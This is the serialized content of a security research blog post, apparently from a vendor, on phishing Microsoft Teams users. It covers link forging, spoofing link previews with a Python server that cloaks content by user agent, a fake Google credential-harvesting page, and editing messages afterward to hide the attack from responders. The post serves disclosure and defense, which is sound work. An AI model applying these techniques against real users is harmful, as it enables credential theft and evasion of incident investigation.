",{"data":37741,"marks":37742,"value":37744,"nodeType":865},{},[37743],{"type":1191},"https://www.evil.com",{"data":37746,"marks":37747,"value":37748,"nodeType":865},{},[]," when it is clicked. Secure email gateways often perform a lot of other analysis of links, including domain analysis and active crawling to identify common phishing attacks.",{"data":37750,"content":37751,"nodeType":866},{},[37752],{"data":37753,"marks":37754,"value":37755,"nodeType":865},{},[],"On IM applications, however, this same standard of link analysis is not always present and the widespread introduction of link unfurling/previewing has also given additional options for spoofing links to hide their true source and increase social engineering success. ",{"data":37757,"content":37758,"nodeType":1229},{},[37759],{"data":37760,"marks":37761,"value":37762,"nodeType":865},{},[],"Traditional link forging",{"data":37764,"content":37765,"nodeType":866},{},[37766],{"data":37767,"marks":37768,"value":37769,"nodeType":865},{},[],"We’ll start with a common traditional link forging scenario to see how Teams handles that, then show how link previews change the threat.",{"data":37771,"content":37772,"nodeType":866},{},[37773],{"data":37774,"marks":37775,"value":37776,"nodeType":865},{},[],"Here, we can see forging a link is permitted by Teams. A hover-over for a few seconds will show the real URL, but there is nothing stopping an attacker forging fake links if the user just clicks them without checking. This is something commonly prevented by secure email gateways and is something that generates an explicit warning when performed using Slack.",{"data":37778,"content":37782,"nodeType":921},{"target":37779},{"sys":37780},{"id":37781,"type":918,"linkType":919},"6WhYD92zZfMp9BqVdDD7oo",[],{"data":37784,"content":37785,"nodeType":866},{},[37786],{"data":37787,"marks":37788,"value":37789,"nodeType":865},{},[],"We can of course use friendly text to construct a link to our malicious domain too, something often used in email-based phishing. However, it still shows the real URL on hover-over and so it’s arguably of less use in teams when we can straight up forge fake links. A user is much less likely to check the hover-over if they think they’ve already seen the real URL as in the case of the forged link shown previously.",{"data":37791,"content":37795,"nodeType":921},{"target":37792},{"sys":37793},{"id":37794,"type":918,"linkType":919},"18Ziitk77uqffkzcPMAU48",[],{"data":37797,"content":37798,"nodeType":1229},{},[37799],{"data":37800,"marks":37801,"value":37802,"nodeType":865},{},[],"Abusing link previews",{"data":37804,"content":37805,"nodeType":866},{},[37806],{"data":37807,"marks":37808,"value":37809,"nodeType":865},{},[],"It gets more interesting when we use links that Teams is able to unfurl to provide a link preview. Here we’ll show a legitimate example of posting one of our own blogs where Teams helpfully unfurls the URL and gives some context to the link as a preview:",{"data":37811,"content":37815,"nodeType":921},{"target":37812},{"sys":37813},{"id":37814,"type":918,"linkType":919},"2Zur3eM6QgogohMAO9bpZ7",[],{"data":37817,"content":37818,"nodeType":866},{},[37819],{"data":37820,"marks":37821,"value":37822,"nodeType":865},{},[],"This is very useful for the user and, despite the fact you can still see the domain as part of the preview, the rest of the preview dominates the display and gives a sense of legitimacy. The user can also hover-over the link to see the full URL, but they have much less reason to do that when seeing the link preview and if they notice the domain that’s displayed too.",{"data":37824,"content":37825,"nodeType":866},{},[37826],{"data":37827,"marks":37828,"value":37830,"nodeType":865},{},[37829],{"type":935},"So, how can we use this scenario maliciously?",{"data":37832,"content":37833,"nodeType":866},{},[37834],{"data":37835,"marks":37836,"value":37837,"nodeType":865},{},[],"The obvious attack scenario is to forge a different link preview for Teams than what is given to the user when they click the link. Then when the user clicks the link, they’ll be directed to our phishing page instead. ",{"data":37839,"content":37840,"nodeType":866},{},[37841],{"data":37842,"marks":37843,"value":37844,"nodeType":865},{},[],"We can do this by performing user agent specific processing of web requests. For example, Teams unfurling uses a user agent like the following:",{"data":37846,"content":37850,"nodeType":921},{"target":37847},{"sys":37848},{"id":37849,"type":918,"linkType":919},"703zjwvTs3DGZwkerIx9G8",[],{"data":37852,"content":37853,"nodeType":866},{},[37854],{"data":37855,"marks":37856,"value":37857,"nodeType":865},{},[],"Therefore, without even requiring much sophistication, we can use some simple python code to perform a redirect to a legitimate source when our web request handler sees this user agent. However, when a target user visits using a normal web browser we instead return a malicious page. The example python code below redirects to benign content for a Teams preview, while serving malicious content otherwise:",{"data":37859,"content":37863,"nodeType":921},{"target":37860},{"sys":37861},{"id":37862,"type":918,"linkType":919},"5W64wjVFHtjscIMWNQvFAT",[],{"data":37865,"content":37866,"nodeType":866},{},[37867],{"data":37868,"marks":37869,"value":37870,"nodeType":865},{},[],"If you’ve read our previous Slack article, you’ll recall that we also minimized the link text to a period so as to reduce the chances of the user performing a hover-over to see the real URL, whereas the link preview itself is much larger and clickable. ",{"data":37872,"content":37873,"nodeType":866},{},[37874],{"data":37875,"marks":37876,"value":37877,"nodeType":865},{},[],"The problem with Teams is that the domain portion of the link shows as part of the link preview as we saw above, which isn’t ideal as an attacker. Obviously, in a real attack we would register as convincing a domain as we could but we’d still rather the user either does not see it or sees a genuinely legitimate domain instead.",{"data":37879,"content":37880,"nodeType":866},{},[37881],{"data":37882,"marks":37883,"value":37884,"nodeType":865},{},[],"However, we also saw before that, unlike Slack, Teams allows full link forging without a warning. Hyperlinks are blue highlighted and much more prominent and so our attack strategy is best focused on presenting a forged legitimate URL that draws the user’s attention, along with a forged link preview and distracting them from the faded real domain that shows below.",{"data":37886,"content":37887,"nodeType":866},{},[37888],{"data":37889,"marks":37890,"value":37891,"nodeType":865},{},[],"The end result of this is that the user sees both a legitimate URL and a nice friendly link preview legitimately produced by Teams and Google Docs in real time, whereas if they click the link they’ll be taken to our phishing page instead. ",{"data":37893,"content":37894,"nodeType":866},{},[37895],{"data":37896,"marks":37897,"value":37898,"nodeType":865},{},[],"In this case, we have shown a Google style phishing page as an example for harvesting credentials. Hopefully, the user will assume their Google Docs session expired and then re-enter their credentials. See what the target user would see below:",{"data":37900,"content":37904,"nodeType":921},{"target":37901},{"sys":37902},{"id":37903,"type":918,"linkType":919},"46ZtHG4bp9bCdiCmmvciee",[],{"data":37906,"content":37910,"nodeType":921},{"target":37907},{"sys":37908},{"id":37909,"type":918,"linkType":919},"12F0HcFMo5Yd3rSaDX3W7q",[],{"data":37912,"content":37913,"nodeType":866},{},[37914],{"data":37915,"marks":37916,"value":37917,"nodeType":865},{},[],"As we can see, the phishing message generated in this case is pretty convincing. It shows a legitimate link to Google docs that is highlighted and a legitimate link preview too. The faded ngrok domain in the link preview is very easy to miss. However, clicking the link will take the user to our phishing page.",{"data":37919,"content":37920,"nodeType":866},{},[37921],{"data":37922,"marks":37923,"value":37924,"nodeType":865},{},[],"The diagram below shows how this attack works from a data flow perspective:",{"data":37926,"content":37930,"nodeType":921},{"target":37927},{"sys":37928},{"id":37929,"type":918,"linkType":919},"1Tv7cohtgUhXpYWiZdmw8J",[],{"data":37932,"content":37933,"nodeType":953},{},[37934],{"data":37935,"marks":37936,"value":37937,"nodeType":865},{},[],"Cleaning you tracks",{"data":37939,"content":37940,"nodeType":866},{},[37941],{"data":37942,"marks":37943,"value":37944,"nodeType":865},{},[],"Ok, so let’s say an attacker has either successfully phished the target user or perhaps now the user is suspicious and likely contacting security or IT. One of the great benefits of IM apps is you can generally edit and delete messages, which can be abused by an attacker.",{"data":37946,"content":37947,"nodeType":866},{},[37948],{"data":37949,"marks":37950,"value":37951,"nodeType":865},{},[],"As an attacker, I could make a tiny change to my message to replace the malicious link with the legitimate link I was spoofing for the link preview if I got the sense the target was getting suspicious. Then, if an incident responder comes to investigate, the malicious link is now gone and the message itself appears almost identical, covering my tracks. Other than being able to see the message has been edited, it’s no longer easy to see this was a phishing attack or where the phishing link pointed to. ",{"data":37953,"content":37954,"nodeType":866},{},[37955],{"data":37956,"marks":37957,"value":37958,"nodeType":865},{},[],"This is definitely a useful capability that isn’t usually possible with email phishing! See this minor change reflected below, making the original phishing message appear innocuous due to the replacement of the phishing URL with a legitimate URL. A careful observer will notice that the message appears almost identical to the original, only now the faded domain in the link preview shows docs.google.com, instead of our malicious domain, since the link has been edited.",{"data":37960,"content":37964,"nodeType":921},{"target":37961},{"sys":37962},{"id":37963,"type":918,"linkType":919},"7prJ4j2AdLrcKXOJQU5mPp",[],{"data":37966,"content":37967,"nodeType":953},{},[37968],{"data":37969,"marks":37970,"value":37971,"nodeType":865},{},[],"Impact",{"data":37973,"content":37974,"nodeType":866},{},[37975],{"data":37976,"marks":37977,"value":37978,"nodeType":865},{},[],"We’ve covered a lot of ground here, showing the chaining of external user spoofing attacks with link preview spoofing and also how to cover your tracks afterwards. It’s worth taking a step back and considering the key impact points:",{"data":37980,"content":37981,"nodeType":2374},{},[37982,37992,38002,38012],{"data":37983,"content":37984,"nodeType":2309},{},[37985],{"data":37986,"content":37987,"nodeType":866},{},[37988],{"data":37989,"marks":37990,"value":37991,"nodeType":865},{},[],"IM apps like Teams are now external phishing and social engineering vectors, not just internal ones",{"data":37993,"content":37994,"nodeType":2309},{},[37995],{"data":37996,"content":37997,"nodeType":866},{},[37998],{"data":37999,"marks":38000,"value":38001,"nodeType":865},{},[],"User spoofing can be used in novel ways to enhance social engineering that employees may not be familiar with",{"data":38003,"content":38004,"nodeType":2309},{},[38005],{"data":38006,"content":38007,"nodeType":866},{},[38008],{"data":38009,"marks":38010,"value":38011,"nodeType":865},{},[],"Link spoofing techniques can make phishing links much harder to spot and so increase social engineering success",{"data":38013,"content":38014,"nodeType":2309},{},[38015],{"data":38016,"content":38017,"nodeType":866},{},[38018],{"data":38019,"marks":38020,"value":38021,"nodeType":865},{},[],"Malicious Teams messages can be modified later to replace the phishing link to cover up the attack",{"data":38023,"content":38024,"nodeType":953},{},[38025],{"data":38026,"marks":38027,"value":26874,"nodeType":865},{},[],{"data":38029,"content":38030,"nodeType":866},{},[38031],{"data":38032,"marks":38033,"value":38034,"nodeType":865},{},[],"IM apps have become the default internal communication for most organizations now, but are now a common method of communication with external parties, as well. This means they’ll become a key battleground in both the initial access phase of compromises and the latter phases of lateral movement and persistence. ",{"data":38036,"content":38037,"nodeType":866},{},[38038],{"data":38039,"marks":38040,"value":38041,"nodeType":865},{},[],"This also means organizations reliant on traditional email security gateways and email-based phishing training are likely to see the effectiveness of these controls decrease if attacks shift to the IM apps.",{"data":38043,"content":38044,"nodeType":866},{},[38045],{"data":38046,"marks":38047,"value":38048,"nodeType":865},{},[],"In this article, we highlighted a number of spoofing and phishing strategies that can be employed by external attackers to target an organization using Teams in the initial access phase of the kill chain.",{"data":38050,"content":38054,"nodeType":921},{"target":38051},{"sys":38052},{"id":38053,"type":918,"linkType":919},"2y0INxqAi594O7rCAVKhTI",[],{"data":38056,"content":38057,"nodeType":866},{},[38058],{"data":38059,"marks":38060,"value":21,"nodeType":865},{},[],{"entries":38062},{"inline":38063,"hyperlink":38064,"block":38073},[],[38065,38069],{"sys":38066,"__typename":1802,"title":38067,"slug":38068},{"id":37377},"Slack Attack: A phisher's guide to initial access","slack-phishing-for-initial-access",{"sys":38070,"__typename":1802,"title":38071,"slug":38072},{"id":37400},"Slack Attack: A phisher's guide to persistence and lateral movement","phishing-slack-persistence",[38074,38079,38087,38094,38101,38107,38112,38119,38125,38130,38137,38144,38151,38156],{"sys":38075,"__typename":6278,"type":38076,"ctaText":38077,"buttonLabel":38078,"buttonColour":6282,"buttonUrl":59},{"id":37599},"Demo","Learn how Push can help you secure identities across your org","Book a demo!",{"sys":38080,"__typename":1671,"title":38081,"caption":38082,"layoutMode":59,"file":38083},{"id":37661},"Teams invite from an external user","Teams invite from an external user with an attacker chosen username",{"url":38084,"width":38085,"height":38086},"https://images.ctfassets.net/y1cdw1ablpvd/41BM40X0zR7GLT9augEWse/20c8c47ae602252dc5ad04f03dbd5791/Teams_invite_from_an_external_user.png",677,611,{"sys":38088,"__typename":1671,"title":38089,"caption":38089,"layoutMode":59,"file":38090},{"id":37667},"Rendering of the attacker chosen name from an external user",{"url":38091,"width":38092,"height":38093},"https://images.ctfassets.net/y1cdw1ablpvd/Ea6mrq6bzXvD3RcD63kWR/a2bdd1fe10a412d5bb4a50792900958a/Rendering_of_the_attacker_chosen_name.png",584,147,{"sys":38095,"__typename":1671,"title":38096,"caption":38096,"layoutMode":59,"file":38097},{"id":37687},"Teams invite from a user from an external Teams organization - note email shows",{"url":38098,"width":38099,"height":38100},"https://images.ctfassets.net/y1cdw1ablpvd/vM7Bwt93lImxESrXbILv7/6dfe4d01f9025e5eea207b8905e01d1b/Teams_invite_from_a_user_from_an_external_Teams_organization.png",804,718,{"sys":38102,"__typename":1671,"title":38103,"caption":38103,"layoutMode":59,"file":38104},{"id":37781},"Link forging shows the real domain on a hover-over, but is otherwise permitted",{"url":38105,"width":29700,"height":38106},"https://images.ctfassets.net/y1cdw1ablpvd/6ggeHuKDrHgIpQetUprgHq/5e89fe2a3340810730411617fca737f6/Link_forging_shows_the_real_domain_on_a_hover-over.png",134,{"sys":38108,"__typename":1671,"title":38109,"caption":38109,"layoutMode":59,"file":38110},{"id":37794},"A hover-over still shows the true URL with a friendly text link",{"url":38111,"width":29700,"height":38106},"https://images.ctfassets.net/y1cdw1ablpvd/3mCc91OKYETyhLSOFiTd3W/bec7b7cc4bdbcd5d7bb31e6917916f38/A_hover_over_friendly_text_link.png",{"sys":38113,"__typename":1671,"title":38114,"caption":38114,"layoutMode":59,"file":38115},{"id":37814},"Link unfurling resulting in a helpful link preview ",{"url":38116,"width":38117,"height":38118},"https://images.ctfassets.net/y1cdw1ablpvd/CG1C7iH9rbdOma5CqoE0D/347d201afe66a89e1494f75f5bb20be8/unfurling.png",554,183,{"sys":38120,"__typename":38121,"name":38122,"type":38123,"syntax":38124},{"id":37849},"CodeBlockComponent","Blog > Code > Phishing Microsoft Teams for initial access #1","markup","User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5 skype-url-preview@microsoft.com",{"sys":38126,"__typename":38121,"name":38127,"type":38128,"syntax":38129},{"id":37862},"Blog > Code > Phishing Microsoft Teams for initial access #2","python","from http.server import HTTPServer, SimpleHTTPRequestHandler\n\n\nclass MyHandler(SimpleHTTPRequestHandler):\n    def do_GET(self):\n        for header, val in self.headers.items():\n            if header == \"User-Agent\":\n                print(header, val)\n                if val.startswith(\"Slackbot-LinkExpanding\") or \"SkypeUriPreview\" in val or \"Google-PageRenderer\" in val:\n                    self.send_response(301)\n                    self.send_header('Location', 'https://docs.google.com/presentation/d/1JsjD2Ro9KaHmW2vILPKJ6-7ptW89pfsAReyzCxQdpq0/edit?usp=sharing')\n                    self.end_headers()\n                    return\n            print(header, val)\n        return super(MyHandler, self).do_GET()\n\n\nhttpd = HTTPServer(('localhost', 8000), MyHandler)\nhttpd.serve_forever()\n",{"sys":38131,"__typename":1671,"title":38132,"caption":38132,"layoutMode":59,"file":38133},{"id":37903},"Phishing message making use of user spoofing and link preview spoofing to make the link seem legitimate",{"url":38134,"width":38135,"height":38136},"https://images.ctfassets.net/y1cdw1ablpvd/2HZqHpcwUFOaOSaeUbk1rx/119597868eaee6982e3f5510e2ed8caa/Phishing_message.png",857,205,{"sys":38138,"__typename":1671,"title":38139,"caption":38139,"layoutMode":59,"file":38140},{"id":37909},"The fake Google phishing page the user is directed to when clicking the link, in this case hosted on a custom ngrok domain",{"url":38141,"width":38142,"height":38143},"https://images.ctfassets.net/y1cdw1ablpvd/5dueTUJMn1lFQa7mwIVFca/4bf1fd95291ea188bd740faadf2f4411/fake_Google_phishing_page.png",1718,1560,{"sys":38145,"__typename":1671,"title":38146,"caption":59,"layoutMode":59,"file":38147},{"id":37929},"How this attack works from a data flow perspective",{"url":38148,"width":38149,"height":38150},"https://images.ctfassets.net/y1cdw1ablpvd/1oFP5nagW2OSROK6ckicc6/3af9c8d6662b3db9aac0769e353414df/Updated-Teams.png",2560,1440,{"sys":38152,"__typename":1671,"title":38153,"caption":38153,"layoutMode":59,"file":38154},{"id":37963},"An edited message to remove the malicious link and replace it with the same link used for spoofed link preview.",{"url":38155,"width":38135,"height":38136},"https://images.ctfassets.net/y1cdw1ablpvd/1a5WPjras9dNqxiw3Yrz8m/8ef6fa561ae343916eb9d5bf576dcb77/Phishing_message_edited.png",{"sys":38157,"__typename":6278,"type":38158,"ctaText":38159,"buttonLabel":38160,"buttonColour":38161,"buttonUrl":59},{"id":38053},"LinkedIn","See more original research and technical content from Push","Follow us on LinkedIn","orange",{"items":38163},[],{},"How attackers go phishing on Microsoft Teams","2024-01-23T00:00:00.000Z",{"items":38168},[],"phishing-microsoft-teams-for-initial-access","blog/phishing-microsoft-teams-for-initial-access",{"json":38172},{"data":38173,"content":38174,"nodeType":1663},{},[38175],{"data":38176,"content":38177,"nodeType":866},{},[38178],{"data":38179,"marks":38180,"value":38181,"nodeType":865},{},[],"In this article, we will highlight a number of spoofing and phishing strategies that can be employed by external attackers to target an organization using Teams in the initial access phase of the kill chain.","In this article, we will cover a number of spoofing and phishing strategies that can be employed by external attackers to target an organization using Teams.\n",{"id":38184,"publishedAt":38185},"2cv7Yq1DQpm1Mho7fKDs44","2026-08-12T11:55:39.663Z",{"items":38187},[38188,38190],{"sys":38189,"name":2663},{"id":2662},{"sys":38191,"name":297},{"id":11028},{"items":38193},[38194,38196,38198,38200,38202,38204,38206,38208,38210],{"sys":38195,"name":279,"slug":280,"tier":31},{"id":276},{"sys":38197,"name":519,"slug":520,"tier":31},{"id":516},{"sys":38199,"name":413,"slug":414,"tier":31},{"id":410},{"sys":38201,"name":297,"slug":298,"tier":31},{"id":294},{"sys":38203,"name":607,"slug":608,"tier":45},{"id":604},{"sys":38205,"name":324,"slug":325,"tier":45},{"id":321},{"sys":38207,"name":475,"slug":476,"tier":45},{"id":472},{"sys":38209,"name":448,"slug":449,"tier":45},{"id":445},{"sys":38211,"name":431,"slug":432,"tier":45},{"id":428},"mSeA7VddPhh37XtDnGnrKx4mAaDuD5Xh2TBH5LYCKq0",1787040079339]